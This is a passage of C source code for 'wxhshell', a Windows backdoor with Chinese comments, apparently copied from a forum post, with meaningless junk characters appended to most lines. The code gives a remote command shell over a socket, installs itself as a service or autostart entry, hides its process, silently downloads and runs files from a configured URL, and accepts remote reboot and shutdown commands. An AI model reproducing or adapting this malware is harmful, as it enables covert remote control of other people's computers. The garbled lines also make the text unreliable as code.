  else { _fmOTz G  
9zac[t no  
    switch(cmd[0]) { J=7<dEm&  
  f J$>VN  
  // 帮助 =+>^:3cCQ  
  case '?': { E7AYK&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -s,guW |  
    break; &O;' ?/4 S  
  } %YV3-W8S0  
  // 安装 m14OPZ<3?-  
  case 'i': { %5-   
    if(Install()) A"pV 7 y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPK[^  
    else T.B} k`$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *R8qnvE\()  
    break; M7. fz"M  
    } 1Uf8ef1,  
  // 卸载 m>8tA+K)+)  
  case 'r': { 1WJ%n;  
    if(Uninstall()) ,mm9X\ '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0*qK)gH  
    else )sBbmct_S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :j[a X7Sq2  
    break; c,FhI~>R  
    } D4;6}gRC  
  // 显示 wxhshell 所在路径 l>{+X )  
  case 'p': { (rB?@:zN  
    char svExeFile[MAX_PATH]; OJTEvb6nPg  
    strcpy(svExeFile,"\n\r"); q%\rj?U_  
      strcat(svExeFile,ExeFile); jdW#; ]7+y  
        send(wsh,svExeFile,strlen(svExeFile),0); yr, Oq~e  
    break; w W1>#F  
    } !dZpV~g0  
  // 重启 a/s6|ri`0  
  case 'b': { ; +%|!~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O$$$1VHYo  
    if(Boot(REBOOT)) NUb:5tL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +8eW/Bs@2  
    else { l.AG^b  
    closesocket(wsh); i48Tb7Rx~n  
    ExitThread(0); ~ s# !\Ye  
    } le.(KgRS4  
    break; bc ;(2D  
    } ppXt8G3% x  
  // 关机 RQt\_x7P  
  case 'd': { r5(-c]E7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uU#7SX(uu  
    if(Boot(SHUTDOWN)) T*i rCe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {H$m1=S  
    else { zyF[I6Gs  
    closesocket(wsh); 3GU JlFj  
    ExitThread(0); aVbv.>  
    } nd?R|._R  
    break; +'fdAc:5',  
    } e Zb8x  
  // 获取shell *3r{s'm  
  case 's': { 8jxs%N,aI  
    CmdShell(wsh); PN @[k:5(  
    closesocket(wsh); I~: AWS9  
    ExitThread(0); 0"O22<K3a  
    break; f7Fr%*cO  
  } 4RU/y+[o  
  // 退出 Ne 9R u'B6  
  case 'x': { '.&z y#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .-W_m7&}  
    CloseIt(wsh); {Kh u'c  
    break; i][af  
    } ? W`?F  
  // 离开 Vg^@6zU  
  case 'q': { +""8aA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JkMf+ !  
    closesocket(wsh); l|onH;g\  
    WSACleanup(); g6=w MRt[  
    exit(1); #7~i.8L  
    break; Mb#-I GZ  
        } #Kp/A N5YC  
  } !Qd4Y=  
  } sG~5O\,E  
TtaVvaz~>  
  // 提示信息 wt@q+9:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .5PcprE/  
} z9#iU>@  
  } ;v?!Pml2k  
o]vU(j_Ju  
  return; D; 0iNcit  
} <r%QaQRbm  
t6)wR  
// shell模块句柄 L*VO2YI  
int CmdShell(SOCKET sock) kN)m"}gX  
{ @I '_  
STARTUPINFO si; %kg%ttu7  
ZeroMemory(&si,sizeof(si)); 6k=ink-/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T"2D<7frbo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;&Oma`Ec  
PROCESS_INFORMATION ProcessInfo; 9rn[46s`  
char cmdline[]="cmd"; _e;$Y#`EO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z$d/Vz,a  
  return 0; ,\FJVS;NeJ  
} Y M_\ ZK:  
9 OC!\' 8  
// 自身启动模式 27t23@{YL  
int StartFromService(void) b]NSCu*)s  
{ '14 G0<;yL  
typedef struct }cL9`a9j  
{ poqx O  
  DWORD ExitStatus; $Qv+*%c  
  DWORD PebBaseAddress; JWa9[Dj  
  DWORD AffinityMask; EEaf/D/jt  
  DWORD BasePriority; 0.~Pzg  
  ULONG UniqueProcessId; Q`Q%;%t  
  ULONG InheritedFromUniqueProcessId; }wh)I]]U  
}   PROCESS_BASIC_INFORMATION; "(hhb>V1Wl  
ov=[g l  
PROCNTQSIP NtQueryInformationProcess; *:q3<\y{  
['MG/FKuv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; McgTTM;E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K.Tfu"6  
Xz'pZ*Hr$v  
  HANDLE             hProcess; ?Mg&e/^  
  PROCESS_BASIC_INFORMATION pbi; HXTBxh  
cp0@wC#d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1@ )8E`u  
  if(NULL == hInst ) return 0; ;~$_A4;  
?*~W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :!M/9D*}0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XHgwK @GU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ISI\< qx  
Tw< N  
  if (!NtQueryInformationProcess) return 0; 6uCa iPV  
&+\J "V8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yVvO!  
  if(!hProcess) return 0; [a;U'v*  
J~6+zBF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OAMsqeWYA  
,~-"EQT  
  CloseHandle(hProcess); 8F(lW)An  
,BCtNt(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F$UvYy4O d  
if(hProcess==NULL) return 0; /vi>@a  
l+'@y (}Q  
HMODULE hMod; \f6SA{vR|  
char procName[255]; wR\Y+Z   
unsigned long cbNeeded; 2r2qZ#I}  
|1zoT|}q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IWvLt  
.az +'1  
  CloseHandle(hProcess); vT V'D&x2  
3%Z:B8:<y  
if(strstr(procName,"services")) return 1; // 以服务启动 t@[&8j2B>  
D.zEE-cGyb  
  return 0; // 注册表启动 P#(BdKjM  
} k/A8 |  
4k5X'&Q  
// 主模块 _jOu`1w  
int StartWxhshell(LPSTR lpCmdLine) Y<0;;tVf4U  
{ cXiNO ke&  
  SOCKET wsl; 6]yYiz2Xn  
BOOL val=TRUE; 5F{NPKa Q  
  int port=0; Vp*#,(_G:  
  struct sockaddr_in door; ld8E!t[  
Eg&xIyRmm  
  if(wscfg.ws_autoins) Install(); VMPBM:k G  
m?DI]sIv#  
port=atoi(lpCmdLine); C?jk#T  
G. Z:00x  
if(port<=0) port=wscfg.ws_port; p R=FH#  
z^z_!@7v   
  WSADATA data; 0|kkwZVPn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E|OB9BOS  
6? I,sZW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yOwo(+ 2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Umx~!YL!  
  door.sin_family = AF_INET; hh/C{ l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kH'LG!O  
  door.sin_port = htons(port); I8;xuutc  
QOA7#H-m9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D#}t)$"  
closesocket(wsl); qPeaSv]W  
return 1; e P]L  
} 6)i4&  
0$)uOUVJ  
  if(listen(wsl,2) == INVALID_SOCKET) { h"Qp e'D}  
closesocket(wsl); ZbVo<p5* ]  
return 1; Lc.=CBQ  
} a*?bnw?  
  Wxhshell(wsl); XpWcf ([  
  WSACleanup(); >yk@t&j,  
w<=?%+n  
return 0; -]$q8 Q(hM  
G?`{OW3:_  
}  -D*,*L  
8S*3W3HY  
// 以NT服务方式启动 4&b*|"Iw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kr ,&aP<,  
{ rCt8Q&mzf  
DWORD   status = 0;  A [W3.$s  
  DWORD   specificError = 0xfffffff; f793yCiG  
$*N^ bj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qiEw[3Za]'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n~ w.\939@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ZNUt$\  
  serviceStatus.dwWin32ExitCode     = 0; fXNl27c-  
  serviceStatus.dwServiceSpecificExitCode = 0; 'cp1I&>  
  serviceStatus.dwCheckPoint       = 0; CK[w0VCT  
  serviceStatus.dwWaitHint       = 0; ,#n$YT7  
N@}5Fnk-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EWz,K] _'  
  if (hServiceStatusHandle==0) return; 1eod;^AP9  
XT2:XWI8  
status = GetLastError(); Fpe>|"&  
  if (status!=NO_ERROR) qPal'c0  
{ }6S~"<Ym  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2bIP.M2Fs  
    serviceStatus.dwCheckPoint       = 0; fkKk/M> 1  
    serviceStatus.dwWaitHint       = 0; % YgGw:wZ  
    serviceStatus.dwWin32ExitCode     = status; Sq<ds}o'8l  
    serviceStatus.dwServiceSpecificExitCode = specificError; )gNS%t c*K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UdGa#rcNW  
    return; Hs9; &C  
  } <!qN<#$y  
J}zN]|bz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LIah'6qR  
  serviceStatus.dwCheckPoint       = 0; ;@5N  
  serviceStatus.dwWaitHint       = 0; h7?uM^p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p.%lE! v  
} "W71#n+ [  
_;z IH5 H  
// 处理NT服务事件,比如:启动、停止 Z [[AmxE'l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T:<mme3v  
{ }# cFr)4f  
switch(fdwControl) 8PRKSJ[@K  
{ (~k{aO  
case SERVICE_CONTROL_STOP: )t?_3'W  
  serviceStatus.dwWin32ExitCode = 0; w'i8yl bZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {OIktG2gZ  
  serviceStatus.dwCheckPoint   = 0; {tKi8O^Rb  
  serviceStatus.dwWaitHint     = 0; %[l#S*)~  
  { :,8eM{.Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E]MyP=g$  
  } xZ\`f-zL  
  return; r &.gOC  
case SERVICE_CONTROL_PAUSE: ]K<mkUpY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aG*Mj;J  
  break; +uqP:z  
case SERVICE_CONTROL_CONTINUE: (Zi,~Wqm$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5w9oMM {  
  break; PI-o)U$Ehv  
case SERVICE_CONTROL_INTERROGATE: 6}/m~m  
  break; w]ihGh  
}; )@\Eibt2oH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ABG>W>H-S  
} 1EmZ/@k/Y  
6+.8nx:9X  
// 标准应用程序主函数 Jf</83RZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j&y>?Y&Sb  
{ wJ>.I<F6B  
^J-"8%  
// 获取操作系统版本 PSB@yV <  
OsIsNt=GetOsVer(); 7eU|iDYo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6'a1]K  
fU^6h`t  
  // 从命令行安装 M/x*d4b_  
  if(strpbrk(lpCmdLine,"iI")) Install(); znq/ %7  
+)<H,?/  
  // 下载执行文件 7dh--.i  
if(wscfg.ws_downexe) { "k> ;K,:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X/AA8QV o  
  WinExec(wscfg.ws_filenam,SW_HIDE); vVfIe5+OP  
} -. J@  
2;`F` }BA  
if(!OsIsNt) { \L]T|]}(  
// 如果时win9x,隐藏进程并且设置为注册表启动 y%Wbm&h  
HideProc(); Gi S{=+=5  
StartWxhshell(lpCmdLine); fa#5pys  
} U#gv ~)\k  
else D//uwom  
  if(StartFromService()) gZ 6Hj62D  
  // 以服务方式启动 ,!I'0x1OR  
  StartServiceCtrlDispatcher(DispatchTable); Y(97},  
else ;)rs#T;$  
  // 普通方式启动 g@s'-8}X^  
  StartWxhshell(lpCmdLine); ,/1[(^e  
iosL&*'8  
return 0; :G/.h[\R|  
}
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只看该作者 1 发表于: 2006-10-10
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